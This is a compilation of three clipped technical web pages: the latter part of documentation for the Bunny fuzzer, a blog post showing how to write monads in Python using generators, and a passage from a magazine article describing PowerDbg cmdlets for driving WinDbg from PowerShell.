  8. Deterministic, walking block swap of variable length 
  9. Random stacking of any of the above operation \(last resort\) 

## How do I use it?

Compile the fuzzer suite itself \(`make`\), then run the following against
your target project:

[code]

        cd /path/to/project/  
        CC=/path/to/bunny-gcc ./configure  
        make
[/code]

Alternatively, simply use `bunny-gcc` to compile any standalone code, exactly
the way you would use GCC. The wrapper compiles OpenSSH, bash, and a number of
other open source projects cleanly - but if you encounter problems, do let me
know.

Once compiled, the resulting binary can be manually traced by invoking `bunny-
trace` utility to peek at how the fuzzer sees the world, for example:

[code]

        /path/to/bunny-trace /path/to/executable  
        +++ Trace of '/path/to/executable' started at 2007/09/07 21:06:01 +++  
        [19179] 000 .- main()  
        [19179] 001 | .- foo1(1)  
        [19179] 001 | `- = 7  
        [19179] 001 | .- foo2(2)  
        [19179] 001 | `- = 9  
        [19179] 001 | .- something(3, 4)  
        [19179] 001 | `- = 0  
        [19179] 001 | .- name13(5, 6, 7)  
        [19179] 001 | `- = 0  
        [19179] 000 +--- 10  
        [19179] 000 `- = 0  
        --- Process 19179 exited (code=0) ---
[/code]

To run a proper fuzzing session, create a new directory \(e.g., `test`\) with
two empty subdirectories: `in_dir` and `out_dir`. Put the desired input file
to use as a seed for fuzzing in `in_dir`, under any name of your choice. Next,
invoke `bunny-main`, passing the paths to your input and output directories,
as well as directions on how to reach the target application or network
service, using appropriate command-line switches.

Two most common usage scenarios are:

[code]

        mkdir test  
        mkdir test/in_dir  
        mkdir test/out_dir  
        cp sample.jpg test/in_dir/  
      
        # If program accepts data on stdout:  
        ./bunny-main -i test/in_dir -o test/out_dir /path/to/app  
      
        # If program requires disk file input:  
        ./bunny-main -i test/in_dir -o test/out_dir -f test/infile.jpg \  
                      /path/to/app test/infile.jpg
[/code]

And that's it - the output will be saved to `out_dir/BUNNY.log`; crash cases
will go to `out_dir/FAULT*`. Sit back and relax. If you want fast and dirty
results, consider adding `-q` and `-k` parameters to the command line.

For more sophisticated jobs, below is a list of all command line options
supported by `bunny-main` \(defaults are reported when the program is called
with `-h` switch\):

[code]

        -f file     - write fuzzer output to specified file before each testing  
                      round, instead of using fuzzed application's stdin.  
      
        -t h:p      - write fuzzer output to a TCP server running at host 'h',  
                      port 'p', after launching the traced application.  
      
        -u h:p      - write fuzzer output to UDP server, likewise.  
      
        -l port     - write fuzzer output to the first TCP client to connect to  
                      specified port.  
      
      Execution control:  
      
        -s nn       - time out if no instrumentation feedback is received for 'nn'  
                      milliseconds. Such a situation will be marked as a DoS  
                      condition and saved for analysis.  
      
        -x nn       - time out unconditionally after 'nn' milliseconds.  
      
        -d          - allow "dummy" mode: perform a single round of fuzzing even  
                      if no instrumentation is detected in the traced application,  
                      and just detect crashes in response to dumb fuzzing.  
      
        -n          - do not abandon a fuzzing round in which a fault occurred.  
                      May end up producing multiple similar crash cases, but  
                      slightly improves coverage.  
      
        -g          - use audible notification (aka "beep") to alert of crashes.  
                      The exact behavior of this depends on your terminal settings.  
      
      Fuzzing process control (these options affect performance):  
      
        -B nn[+s]   - controls bit flip fuzzing stage (1/8); limits flip run length  
                      to 'nn' bits, and uses a stepover of 's'.  
      
        -C nn[+s]   - controls chunk operations; limits chunk size to 'nn' bytes,  
                      uses a stepover of 's'.  
      
                      Note that chunk operations are time-consuming; keep this and  
                      -O options in check for larger files.  
      
        -O nn       - controls chunk operations; limits chunk displacement to 'nn'  
                      bytes.  
      
        -E nn       - controls effector registration; limits the number of  
                      effectors associated with a single trace value. Prevents  
                      checksums and similar fields from diluting the effector set.  
      
        -X b:nn     - affects value walk stage (2/8); Bunny uses a set of  
                      predefined "interesting" values, such as -1, 0, or MAX_INT,  
                      in order to trigger fault conditions (see config.h). You can  
                      override this set by specifying multiple -X parameters. First  
                      field, 'b', specified byte width (1, 2, or 4), second field  
                      is a signed integer to use.  
      
        -Y nn       - controls random walk stage (3/8); sets the number of random  
                      values to try before moving on.  
      
        -R nn       - controls random exploration stages; resets fuzzed file to  
                      its pristine state every 'nn' tries, stacks random  
                      modifications in between.  
      
        -S nn       - controls random exploration stages; sets the number of random  
                      operations stacked in every round.  
      
        -N nn       - controls queue branching; caps the number of call paths  
                      registered in a single fuzzing round.  
      
        -P nn       - controls queue branching; likewise, but for parameter  
                      variations.  
      
        -L nn       - controls per-round calibration cycle count; these cycles  
                      are used to establish execution baseline, detect variable  
                      parameters such as time(0) or getpid() output, and the like.  
                      Use -L 1 to speed things up if you have no reason to suspect  
                      these are used by a program, or higher values to detect  
                      really sneaky cases.  
      
        -M nn       - controls trace depth; limits the number of instrumented  
                      function calls analyzed in each run. This is the primary  
                      method of managing tracing performance, memory usage, and  
                      trace time.  
      
        -F nn       - controls block operations; caps fuzzable data set size to  
                      prevent runaway size increments in some rare cases. By  
                      default set to initial set size, times 2.  
      
        -8          - controls value set stage; enables the use of all possible  
                      8-bit values, instead of the default subset of "interesting"  
                      ones. Recommended, time permitting.  
      
        -r          - controls parameter variation detection; enables finer-grained  
                      value ranging to detect more subtle differences (will result  
                      in far more variable paths being discovered).  
      
        -z          - disables parameter variation detection; parameter path forks  
                      will not be recorded. This is a very coarse but quick method.  
      
        -k          - disables deterministic fuzzing rounds, and goes straight to  
                      random stacking. This is a particularly useful for easy  
                      parallelization.  
      
        -q          - randomizes queue processing; this might speed up discovery  
                      of deeper-nested problems, though there is no guarantee  
                      whatsoever.
[/code]

## Advanced usage notes

This section contains assorted tips for optimizing fuzzing performance and
dealing with complex input scenarios

### Minimizing fuzzing effort

For certain applications, it might be quite obviously highly advisable to make
generic tweaks to the code in order to improve odds of fuzzing, such as the
removal of CRC32 checks, or flipping the switch on null encryption schemes.

### Selective instrumentation tools

`bunny-gcc` will automatically instrument function names, parameters, nesting
level, and return values. This is optimal for almost all projects, large and
small - but when dealing with ultra-compact code, or targeting the inner
workings of a single suspect function, you can install hooks manually, by
adding a `BunnySnoop` preprocessor directive with an integer parameter inline
in the function:

[code]

        BunnySnoop table[0];
[/code]

WARNING: Make sure that, no matter which call path within a function is taken,
a constant number of `BunnySnoop` statements will be encountered. A mismatch
will cause a runtime error, because the fuzzer can't immediately figure out
how to compare such variations in a meaningful manner.

In some cases, it is undesirable to instrument a particular function - for
example, if it is invoked in a read loop to perform a fairly mundane task, and
produces megabytes of useless trace information; to manually suppress
instrumentation, use `BunnySkip` directive immediately before a `{ ... }`
block, for example:

[code]

        static int do_boring_stuff(char* buf) BunnySkip {  
          ...  
        }
[/code]

### Advanced output structure management

Bunny supports selective fuzzing of files and multi-packet network output:

  1. Each file placed in there is output in a separate write; if you wish to send multiple packets, this is a method to achieve this. Files in this directory will be sorted and used in a default alphasort order. e.g.: `packet0001, packet0002, packet0003 ...`

  1. File names ending with `.keep` will **not** be fuzzed, but passed through as-is. This is useful for excluding chunks of a large input set from the tests for performance reasons. 

  1. If a 0-sized `*.keep` file is encountered, and the output is to a network socket, the output component will pause to sink an input packet received from the remote party before continuing. This can be used to fuzz interactive client-server communications \(e.g., wait for a response before sending a new command\). 

The number of "fuzzable" bytes has a linear impact on the speed of testing,
simply because most of the fuzzing steps involve deterministic, sequential
changes to the data. File sizes between 1 and 250 bytes are probably optimal,
assuming default settings.

## Troubleshooting

This section describes common real-world fuzzing problems, and suggestions on
how to deal with them.

**Problem:** I cannot build the fuzzer itself because of some `-Wno-pointer-
sign` error.

**Suggestion:** Use a newer version of GCC or remove the first occurrence of
`-Wno-pointer-sign` in project's `Makefile`.

**Problem:** When I try to issue `make` on a program to be instrumented, I get
libtool lock errors and the compilation hangs.

**Suggestion:** This is because of an ill-conceived check in some autoconf
files. This check inevitably breaks with some compilers. Re-run ./configure
but append `--disable-libtool-lock` to its command-line options, then try
`make` again.

**Problem:** Bunny completes a couple of fuzzing rounds and gives up.

**Suggestion:** The utility can't find enough interesting call paths to
follow. Try the following:

  * If you are fuzzing a library, make sure not only the test program, but also the library itself is properly instrumented, and that your test program indeed uses the instrumented copy, not a system-wide version. Use `LD_LIBRARY_PATH` to guide the dynamic linker. 
  * Make sure that the targeted code does not reside in a single, compact function - if so, you have to instrument the function manually using `BunnySnoop` directive \(see above\). 
  * Make sure that the initial input file makes sense to the traced program and triggers the instrumented functionality. 
  * If any mentions of skipped function calls appear in the output of the fuzzer, Crank up the depth of instrumentation \(`-P` parameter\) to a higher value. 
  * Crank up the intensity of fuzzing to get to other code locations: specify `-8`, increase limits for `-R`, `-S`, `-B`, `-C`, and `-O` options. 

**Problem:** Bunny keeps finding tons of new call paths and there is no end in
sight.

**Suggestion:** Too much branching is undesirable, as it might compromise the
coverage of performed tests. Try the following:

  * Adjust `-M` parameter to reduce the depth of instrumentation, 
  * Ensure uniform testing space: use `-q` option to randomize queue processing, `-k` to skip sequential fuzzing rounds, 
  * Run the application under bunny-trace and see if there are any recursive calls that do not serve an important function. If so, use `BunnySkip` to selectively disable instrumentation. 
  * If most of these are parameter-related variations, decrease `-P` to a very small value to rate-limit this aspect of exec path exploration, or `-z` to inhibit it altogether. 

**Problem:** Fuzzing is very slow, and I'm getting bogus "timeout" crash
reports.

**Suggestion:** The traced application is painfully slow. Try the following:

  * Adjust `-s` and `-x` options to raise time quotas allotted to each run, 
  * Reduce input file size \(for example, use a 2x2 JPEG with no EXIF data or comments, instead of a 100k photo\), 
  * Reduce `-R`, `-S`, `-B`, `-C`, and `-O` option values to speed up fuzzing, cosider using `-k` to disable most fuzzing rounds altogether, 
  * Move the process to a faster machine. 
  * Investigate how to speed up the traced application - enable optimization, prelink, add code to bail out on known DoS conditions, etc. 

**Problem:** I want to trace a non-instrumented application.

**Suggestion:** Use `-d` option, and be sure to crank up `-R`, `-S`, `-B`, and
`-C` limits, possibly use `-8` option - in this mode, Bunny will execute a
single round of testing only, so get the best of it.

## Limitations & known issues

The approach implemented by Bunny will be ineffective against protocols that
implement very strong checksums or other constraints that are nearly
impossible to brute-force - although unlike traditional fuzzing, it should be
reasonably effective against weak checksums.

When operating on auto-instrumented C-function level, it is unlikely for this
or any other protocol-blind fuzzer to discover new non-trivial syntax \(such
as an undocumented HTML tag or a complex protocol message\) if it is not a
part of the input file and cannot be gradually derived from it, unless you
instrument functions such as strcmp\(\); but then again, bunny should be
remarkably more effective once such a syntax is accidentally stumbled upon.

Known issues with the current code:

  * Multiple threads and processes are supported, and input will be collected from all threads and properly separated - but the trace continues only as long as the initial process is running, and only the initial process will be surveyed for `SEGV` and similar fault conditions. There is no easy way to intercept child process signals on Linux without resorting to dirty `ptrace()` tricks or signal handler injection. 

  * The only platforms known to work fine are Linux, flavors of BSD, and Cygwin on IA32 platforms. Support for 64-bit and other unix systems is not confirmed. There is no support for non-x86 architectures, although this requires very few tweaks to correct. 

  * The C parser and its hooks is not necessarily compatible with restricted dialects of C that do not implement C99 + GNU extensions. This is because the instrumentation code uses `__attribute__` features to gain unobtrusive access to library functions and suppress certain warnings. `bunny-gcc` will strip any flags that restrict the dialect of an input file, and this might have an adverse effect in some rare circumstances. 

  * `bunny-exec` registers call paths in the order of appearance, and can't recover cleanly from a situation where this changes randomly because of scheduler decisions when multiple threads are spawned \(nearly\) at once. I see no easy way to solve this, and it might be not worth the effort. 

  * On calls to `longjmp` or with newly spawned threads, the nesting level reported by `bunny-trace` might be off. This does not affect the tracing process. 

  * `varargs` are not supported, which limits the amount of data collected about some relatively rare internal functions \(again, the overhead needed for handling this is considerable, and there seem to be no cases that would warrant it\). 

  * Every unique call path encountered \(but **not** every unique parameter sequence\) uses up several kilobytes of memory and is kept indefinitely in process address space. The record contains important calibration and effector data needed to properly handle revisits to that call path with new parameters, and cannot be simply deallocated. This is typically not a problem for short-run fuzzing, but when we enter the domain of billions of exec cycles, we might eventually hit the 2 GB limit. Storing older data on disk might be advisable. 

# Valued Lessons: Monads in Python \(with nice syntax\!\)

**Created:**| _5/13/2009 1:17:52 PM_  
---|---  
**Updated:**| _5/13/2009 1:18:05 PM_  
**Author:**| __  
**Tags:**| _python monads_  
  

# Valued Lessons

I've learned. I'll share.

## January 7, 2008

### Monads in Python \(with nice syntax\!\)

Update: I've been informed that I didn't clearly explain what monads are and
what the code examples are supposed to do. Sorry. I guess I assumed too much
preexposure to monads. If you're no familiar with them, there are already so
many tutorials on monads that I'll simply direct you to two of my
favorites:spacesuits and wikipedia. I've also added more explanations of what
the code snippets are supposed to do. I hope that helps.

Update 2: By popular demand, I'm including some code that you can actually run
:\). See the bottom of the article.

Recently, I used monads in production code for a soon-to-be-publically-
released application. Although many think they are strange, estoric, and
perhaps useless, monads were the best way to solve the problem. My code is not
in Haskell; it's in Python. I'm not doing anything wierd like IO in a purely
functional way; I'm just parsing a file.

The crazy, unexpected conclusion I came to is that you can and should use
monads in your code in almost any programming language. There are two parts to
this: "can" and "should". I think I'll save "should" for another article.
Right now, I'm excited to show you how you can.

As a preview for "should", please consider that you may be using monads
already without knowing it. LINQ in C\# is a monad \(pdf\), so if you've ever
used it, you've used a monad. The C\# guys used monads for queries for the
same reason I'm using for them for parsing: they're the right tool for the
job. But unlike them, I can't change the syntax of the programming language.

The biggest challange with using monads in a "normal" programming language is
that monads involve lots of closures. This is exactly the same problem you run
into with CPS, which isn't surprising since a monad's "bind" operator is CPS
and since continuations can be implemented with monads. By the way, if your
programming laungage doesn't have closures \(meaning you are stuck programming
in C, C++, or Java\), then monads are probably out of the question. Assuming
you have closures and use them with monads directly, you end up with code like
the following. It's python using the Maybe monad to handle divide by zero
errors. I'm using ">>" \(\_\_rshift\_\_\) overloaded to mean "bind".

[code]

    def mdiv(a, b):
        if b == 0:
            return Nothing
        else:
            return Something(a / b)
    
    def with_maybe():
        return \
        mdiv(2.0, 2.0)    >> (lambda val1 :
        mdiv(3.0, 0.0)    >> (lambda val2 :
        mdiv(val1, val2)  >> (lambda val3 :
        Something(val3))))                       
    
    
[/code]

That's not very pretty. We need a way to clean that up. How we can do so
depends on the programming language. Haskell has "do" syntax built-in, which
makes monadic code look like an impertive language or even a list
comprehension. Ruby and Scheme have call/cc which makes it trivial to wrap a
bind call with a continuation to make any monadic code look "normal". C\# has
LINQ, which is practically Haskell's do notation with funny names.

But I'm using python. What does python have? Luckily for me, in python 2.5
they added bidirectional generators, and I found a way to use them to make
something like "do" notation. Now we can write the above code like this \(@do
and mreturn are defined later\):

[code]

    @do(Maybe)
    def with_maybe(first_divisor):
        val1 = yield mdiv(2.0, 2.0)
        val2 = yield mdiv(3.0, 0.0)
        val3 = yield mdiv(val1, val2)
        mreturn(val3)
    
    
[/code]

I even copied the names "do" and "return" from Haskell, although I had to
spell "return" as "mreturn". All you really have to remember is that "yield"
means "bind" and that the end result is a monad. There are limitations to this
technique, but it's working very well for me so far. I've implemented the
Maybe monad, the Error monad, the StateChanger monad, and the Continuation
monad \(which will require another article to explain\). I particularly like
the continuation monad because it allows me to write callcc, which lets me do
threadless actors \(message passing\) in python:

[code]

    from collections import deque
    
    class Mailbox:
        def __init__(self):
            self.messages = deque()
            self.handlers = deque()
    
        def send(self, message):
            if self.handlers:
                handler = self.handlers.popleft()
                handler(message)()
            else:
                self.messages.append(message)
    
        def receive(self):
            return callcc(self.react)
    
        @do(ContinuationMonad)
        def react(self, handler):
            if self.messages:
                message = self.messages.popleft()
                yield handler(message)
            else:
                self.handlers.append(handler)
               done(ContinuationMonad.zero())
    
    @do(ContinuationMonad)
    def insert(mb, values):
        for val in values:
            mb.send(val)
    
    @do(ContinuationMonad)
    def multiply(mbin, mbout, factor):
        while True:
            val = (yield mbin.receive())
            mbout.send(val * factor)
    
    @do(ContinuationMonad)
    def print_all(mb):
        while True:
            print (yield mb.receive())
    
    original   = Mailbox()
    multiplied = Mailbox()
    
    print_all(multiplied)()
    multiply(original, multiplied, 2)()
    insert(original, [1, 2, 3])()
    
    
[/code]

A few months ago, I wrote a similar implementation of threadless actors in
python. It used generators in a similar way, but it was 10 times as much code.
I was shocked at how short this implementation ended up being. You might think
that it's because the continuation monad implementation is big. Nope. It's
just as short \(Monad defined later, and Record defined here\):

[code]

    class ContinuationMonad(Record("run"), Monad):
        def __call__(self, cont = lambda a : a):
            return self.run(cont)
    
        def bind(self, bindee):
            return ContinuationMonad(lambda cont : self.run(lambda val : bindee(val).run(cont)))
    
        @classmethod
        def unit(cls, val):
           return cls(lambda cont : cont(val))
    
        @classmethod
        def zero(cls):
            return cls(lambda cont : None)
    
    def callcc(usecc):
     return ContinuationMonad(lambda cont : usecc(lambda val : ContinuationMonad(lambda _ : cont(val))).run(cont))
    
    
    
[/code]

So, you can use monads with elegant syntax in any language that has closures
and any of the following:

  * do syntax \(Haskell, C\#\)
  * call/cc \(Scheme, Ruby\)
  * bidirectional generators \(Python 2.5, a future JavaScript?\)
  * coroutines \(Lua, Io\)

The only think I haven't shown you is the implementation of Monad, @do,
mreturn, and done. It has a few nasty details related to using generators and
decorators in python, but here's the gist of it:

[code]

    class Monad:
        def bind(self, func):
            raise NotImplementedError
    
        def __rshift__(self, bindee):
            return self.bind(bindee)
    
        def __add__(self, bindee_without_arg):
            return self.bind(lambda _ : bindee_without_arg())
    
    
    @decorator_with_args
    def do(func, func_args, func_kargs, Monad):
        itr = func(*func_args, **func_kargs)
    
        def send(val):
            try:
                monad = itr.send(val)
                return monad.bind(send)
            except MonadReturn, ret:
                return Monad.unit(ret.value)
            except Done, done:
                return done.monad
    
         return send(None)
    
    def mreturn(val):
        raise MonadReturn(val)
    
    def done(val):
        raise Done(val)
    
    
    
[/code]

That's it. If you've made it all the way to the end of this long article, I
hope you've found inspiration for using monads in your own applications,
especially if you are coding in python. If so, here's some code that you can
run:

[code]

    import types
    
    ###### Base Monad and @do syntax#########
    
    class Monad:
        def bind(self, func):
            raise NotImplementedError
    
        def __rshift__(self, bindee):
            return self.bind(bindee)
    
        def __add__(self, bindee_without_arg):
            return self.bind(lambda _ : bindee_without_arg())
    
    def make_decorator(func, *dec_args):
        def decorator(undecorated):
            def decorated(*args, **kargs):
                return func(undecorated, args, kargs, *dec_args) 
            
            decorated.__name__ = undecorated.__name__
            return decorated
        
        decorator.__name__ = func.__name__
        return decorator
    
    def make_decorator_with_args(func):
        def decorator_with_args(*dec_args):
            return make_decorator(func, *dec_args)
        return decorator_with_args
    
    decorator           = make_decorator
    decorator_with_args = make_decorator_with_args
    
    @decorator_with_args
    def do(func, func_args, func_kargs, Monad):
        @handle_monadic_throws(Monad)
        def run_maybe_iterator():
            itr = func(*func_args, **func_kargs)
    
            if isinstance(itr, types.GeneratorType):
                @handle_monadic_throws(Monad)
                def send(val):
                    try:
                        # here's the real magic
                        monad = itr.send(val) 
                        return monad.bind(send)
                    except StopIteration:
                        return Monad.unit(None)
                    
                return send(None)
            else:
                #not really a generator
                if itr is None:
                    return Monad.unit(None)
                else:
                    return itr
    
        return run_maybe_iterator()
    
    @decorator_with_args
    def handle_monadic_throws(func, func_args, func_kargs, Monad):
        try:
            return func(*func_args, **func_kargs)
        except MonadReturn, ret:
            return Monad.unit(ret.value)
        except Done, done:
            assert isinstance(done.monad, Monad)
            return done.monad
    
    class MonadReturn(Exception):
        def __init__(self, value):
            self.value = value
            Exception.__init__(self, value)
    
    class Done(Exception):
        def __init__(self, monad):
            self.monad = monad
            Exception.__init__(self, monad)
    
    def mreturn(val):
        raise MonadReturn(val)
    
    def done(val):
        raise Done(val)
    
    def fid(val):
        return val
    
    ##### Failable Monad ######
    
    class Failable(Monad):
        def __init__(self, value, success):
            self.value   = value
            self.success = success
    
        def __repr__(self):
            if self.success:
                return "Success(%r)" % (self.value,)
            else:
                return "Failure(%r)" % (self.value,)    
    
        def bind(self, bindee):
            if self.success:
                return bindee(self.value)
            else:
                return self
    
        @classmethod
        def unit(cls, val):
            return cls(val, True)
    
    class Success(Failable):
        def __init__(self, value):
            Failable.__init__(self, value, True)
    
    class Failure(Failable):
        def __init__(self, value):
            Failable.__init__(self, value, False)
    
    def failable_monad_examle():
        def fdiv(a, b):
            if b == 0:
                return Failure("cannot divide by zero")
            else:
                return Success(a / b)
    
        @do(Failable)
        def with_failable(first_divisor):
            val1 = yield fdiv(2.0, first_divisor)
            val2 = yield fdiv(3.0, 1.0)
            val3 = yield fdiv(val1, val2)
            mreturn(val3)
    
        print with_failable(0.0)
        print with_failable(1.0)
    
    ###### StateChanger Monad #########
    
    class StateChanger(Monad):
        def __init__(self, run):
            self.run = run
    
        def bind(self, bindee):
            run0 = self.run
    
            def run1(state0):
                (result, state1) = run0(state0)
                return bindee(result).run(state1)
    
            return StateChanger(run1)
    
        @classmethod
        def unit(cls, val):
            return cls(lambda state : (val, state))
    
    def get_state(view = fid):
        return change_state(fid, view)
    
    def change_state(changer, view = fid):
        def make_new_state(old_state):
            new_state    = changer(old_state)
            viewed_state = view(old_state)
            return (viewed_state, new_state)
        return StateChanger(make_new_state)
    
    
    def state_changer_monad_example():
        @do(StateChanger)
        def dict_state_copy(key1, key2):
            val = yield dict_state_get(key1)
            yield dict_state_set(key2, val)
            mreturn(val)
    
        @do(StateChanger)
        def dict_state_get(key, default = None):
            dct = yield get_state()
            val = dct.get(key, default)
            mreturn(val)
    
        @do(StateChanger)
        def dict_state_set(key, val):
            def dict_set(dct, key, val):
                dct[key] = val
                return dct
    
            new_state = yield change_state(lambda dct: dict_set(dct, key, val))
            mreturn(val)
    
        @do(StateChanger)
        def with_dict_state():
            val2 = yield dict_state_set("a", 2)
            yield dict_state_copy("a", "b")
            state = yield get_state()
            mreturn(val2)
    
        print with_dict_state().run({}) # (2, {"a" : 2, "b" : 2})
    
    ###### Continuation Monad #########
    
    class ContinuationMonad(Monad):
        def __init__(self, run):
            self.run = run
    
        def __call__(self, cont = fid):
            return self.run(cont)        
    
        def bind(self, bindee):
            return ContinuationMonad(lambda cont : self.run(lambda val : bindee(val).run(cont)))
    
        @classmethod
        def unit(cls, val):
            return cls(lambda cont : cont(val))
    
        @classmethod
        def zero(cls):
            return cls(lambda cont : None)
        
    def callcc(usecc):
        return ContinuationMonad(lambda cont : usecc(lambda val : ContinuationMonad(lambda _ : cont(val))).run(cont))
        
    def continuation_monad_example():
        from collections import deque
    
        class Mailbox:
            def __init__(self):
                self.messages = deque()
                self.handlers = deque()
    
            def send(self, message):
                if self.handlers:
                    handler = self.handlers.popleft()
                    handler(message)()
                else:
                    self.messages.append(message)
    
            def receive(self):
                return callcc(self.react)
    
            @do(ContinuationMonad)
            def react(self, handler):
                if self.messages:
                    message = self.messages.popleft()
                    yield handler(message)
                else:
                    self.handlers.append(handler)
                    done(ContinuationMonad.zero())
    
        @do(ContinuationMonad)
        def insert(mb, values):
            for val in values:
                mb.send(val)
    
        @do(ContinuationMonad)
        def multiply(mbin, mbout, factor):
            while True:
                val = (yield mbin.receive())
                mbout.send(val * factor)
    
        @do(ContinuationMonad)
        def print_all(mb):
            while True:
                print (yield mb.receive())
    
        original   = Mailbox()
        multiplied = Mailbox()
    
        print_all(multiplied)()
        multiply(original, multiplied, 2)()
        insert(original, [1, 2, 3])()
    
    if __name__ == "__main__":
        failable_monad_examle()
        state_changer_monad_example()
        continuation_monad_example()
    
    
[/code]

  

# PowerDbg v5.1 – Using PowerShell to Control WinDbg | Debugging Experts Magazine Online
**Created:**| _4/14/2011 3:26:15 PM_  
---|---  
**Updated:**| _4/14/2011 3:31:55 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging scripting windows environment_  
  

<img src='img/Temp2_6292.jpg' />

  * Volume 1, 2009
    * Issue 1, March
    * Issue 2, June
    * Issue 3, September
    * Issue 4, December
  * Volume 2, 2010
    * Issue 1, March
    * Issue 2, June
    * Issue 3, September
    * Issue 4, December

<img src='img/Temp2_6295.jpg' />

Home

# PowerDbg v5.1 – Using PowerShell to Control WinDbg

_Roberto Alexis Farah, 25th February 2009  
http://blogs.msdn.com/debuggingtoolbox/_

Here I would like to introduce a minor version of PowerDbg 5.0\[6\] with a few
new cmdlets. These new cmdlets are those that we use most of the time for .NET
debugging.

**POWERDBG FILES**

**WinDbg.PSM1** ß Contains cmdlets used to communicate with WinDbg.

****

****

**Microsoft.PowerShell\_Profile.PS1** ß Contains cmdlets that parse command
output. Uses WinDbg.PSM1 under the hood.

**INSTALLATION**

****

**WinDbg.PSM1**

****

Goes to **%\Windows\System32\WindowsPowerShell\v1.0\Modules\WinDbg**

****

**Note:** PowerDbg assumes the folder c:\debuggers as the default installation
folder. This is true for the default in­stallation of our private debugger
version \(Microsoft\) but not for the public version. So, please, change this
variable to reflect your installation:

param\($cdbPath = "C:\debuggers\cdb.exe"\)

****

****

**Microsoft.PowerShell\_Profile.PS1**

****

Goes to **%\Documents\windowspowershell**

****

In order to know the exact location, use this command from PowerShell:

**$profile**

****

**REQUIREMENT**

****

PowerShell v2.0

****

**USAGE**

****

First, make sure you can run scripts:

**set-executionpolicy remotesigned**

****

From the WinDbg window type:

**.server tcp:port=10456,server=** ServerName ß ServerName is your server
name.

The command above enables a port for communication with the WinDbg instance as
a server. You can use other port numbers.

From the PowerShell window you must initialize the communication:

**Import-module WinDbg** ß Importing our module WinDbg.PSM1

**Connect-Windbg "tcp:Port=10456,Server=SERVER" **ß Connects session to WinDbg
instance.

Or:

**Connect-Dbg "tcp:Port=10456,Server=SERVER" **ß Connects session to WinDbg

Note: Don’t forget to load symbols and your extensions\!

At this point you’re ready to use **PowerDbg** or **PowerDbg scripts**.

Example:

**Analyze-PowerDbgThreads** ß Cmdlet.

****

**.\PowerDbgScriptExceptions** ß Script.

**NEW FOR POWERDBG v5.1**

****

**Load-PowerDbgSymbols <$symbolPath>**

Load symbols.

Usage:

**Load-PowerDbgSymbols**
“SRV\*c:\PUBLICSYMBOLS\*_http://msdl.microsoft.com/download/symbols_ "

**Parse-PowerDbgASPXPAGES**

Maps the output from the **\!ASPXPages** command and saves it into the CSV
file POWERDBG-PARSED.LOG

To convert the CSV file to a Hash Table use **Convert-
PowerDbgCSVToHashTable**.

For this version we consider the fields:

**Key** : HttpContext

**Value** :
Timeout+Completed+Running+ThreadId+ReturnCode+Verb+RequestPath+QueryString

**Parse-PowerDbgCLRSTACK**

****

Maps the output from the **\!clrstack** command or **~\* e \!clrstack** and
saves it into the CSV file POWERDBG-PARSED.LOG

To convert the CSV file to a Hash Table use **Convert-
PowerDbgCSVToHashTable**.

Attention\! The key is the thread number and the value is the call stack
separated by **$global:g\_frameDelimiter**.

Commas "**,** " are replaced for "**;** " to avoid confusing with the comma
used by the CSV file.

If you use this cmdlet to parse the output from **~\* e \!clrstack** the
threads not running managed code are au­tomatically ignored.

****

**Parse-PowerDbgTHREADS**

****

Maps the output from the **\!threads** command and saves it into the CSV file
POWERDBG-PARSED.LOG

To convert the CSV file to a Hash Table use **Convert-
PowerDbgCSVToHashTable**.

The following fields are extracted:

Thread Number**-** **Key**

ID+OSID+ThreadOBJ+State+GC+Context+Domain+Count+APT+Exception **-Value**

**Parse-PowerDbgDSO**

Maps the output from the **\!dso** or **~\* e \!dso** command and saves it
into the CSV file POWERDBG-PARSED.LOG

To convert the CSV file to a Hash Table use **Convert-
PowerDbgCSVToHashTable**.

The Thread Number is the key and the stack is the value, like the way that
**Parse-PowerDbgK** or **Parse-PowerDbgCLRSTACK** operate.

Attention\! Commas are replaced by "**;** " and **$global:g\_FrameDelimiter**
is used to separate frames.

****

**CMDLETS FROM POWERDBG**

**Send-PowerDbgCommand <$command>**

This was the most complex cmdlet, but now it’s just a wrapper for Invoke-
WinDbgCommand.

SendPowerDbgCommand sends commands to WinDbg.

**Parse-PowerDbgDT \[$useFieldNames****\]**

****

Parses the output from the **dt** command and saves it into POWERDBG-
PARSED.LOG using a CSV file format.

If **$useFieldNames** has a value, the cmdlet stores fields from
struct/classes and values. Otherwise it stores offsets and values.

To convert the CSV file to a Hash Table use **Convert-
PowerDbgCSVToHashTable**.

**Convert-PowerDbgCSVToHashTable**

Converts the output from the Parse-PowerDbg\* cmdlets to a Hash Table.

**Send-PowerDbgDML <$hyperLinkDML> <$commandDML>**

Creates a **DML** command and sends it to WinDbg.

DML stands for Debug Markup Language. Using DML you can create hyperlinks that
execute commands.

**Parse-PowerDbgNAME2EE**

Maps the output from the**\!name2ee** and saves it into the CSV file POWERDBG-
PARSED.LOG

**Convert-PowerDbgCSVtoHashTable** converts the output into a Hash Table.

**Parse-PowerDbgDUMPMD**

Maps the output from **\!dumpmd** command and saves it into the CSV file
POWERDBG-PARSED.LOG.

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

**Parse-PowerDbgDUMPMODULE**

****

Maps the output from **\!DumpModule** command and saves it into the CSV file
POWERDBG-PARSED.LOG

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

****

**Parse-PowerDbgDUMPLMI**

Maps the output from **\!lmi** command and saves it into the CSV file
POWERDBG-PARSED.LOG

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

****

**Has-PowerDbgCOMMANDSUCCEEDED**

****

Returns **$true** if the last command succeeded or **$false** if not.

**Send-PowerDbgComment**

****

Sends a comment, a string in bold, to the WinDbg window.

**Parse-PowerDbgVERTARGET**

Maps the output from **vertarget** command, either the Kernel Time or the User
Time.

The output is saved into the CSV file POWERDBG-PARSED.LOG.

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

**Parse-PowerDbgRUNAWAY**

Maps the output of **\!runaway 1** or **\!runaway 2** and stores the results
into the CSV file POWERDBG-PARSED.LOG

**Convert-PowerDbgCSVToHashTable** converts the output into a Hash Table.

Attention\! If you need to know the top threads consuming CPU time, use
**Convert-PowerDbgRUNAWAYtoArray**. The items will be in the same exact order
of the original command.

**Convert-PowerDbgRUNAWAYtoArray**

****

Returns an array of two dimensions corresponding to the output of **\!runaway
1** or **\!runaway 2**.

**Parse-PowerDbgK**

Maps the output of **k** command and its variations like **kv** ,**kbn** ,
**kpn** , etc.

The output is saved into the CSV file POWERDBG-PARSED.LOG

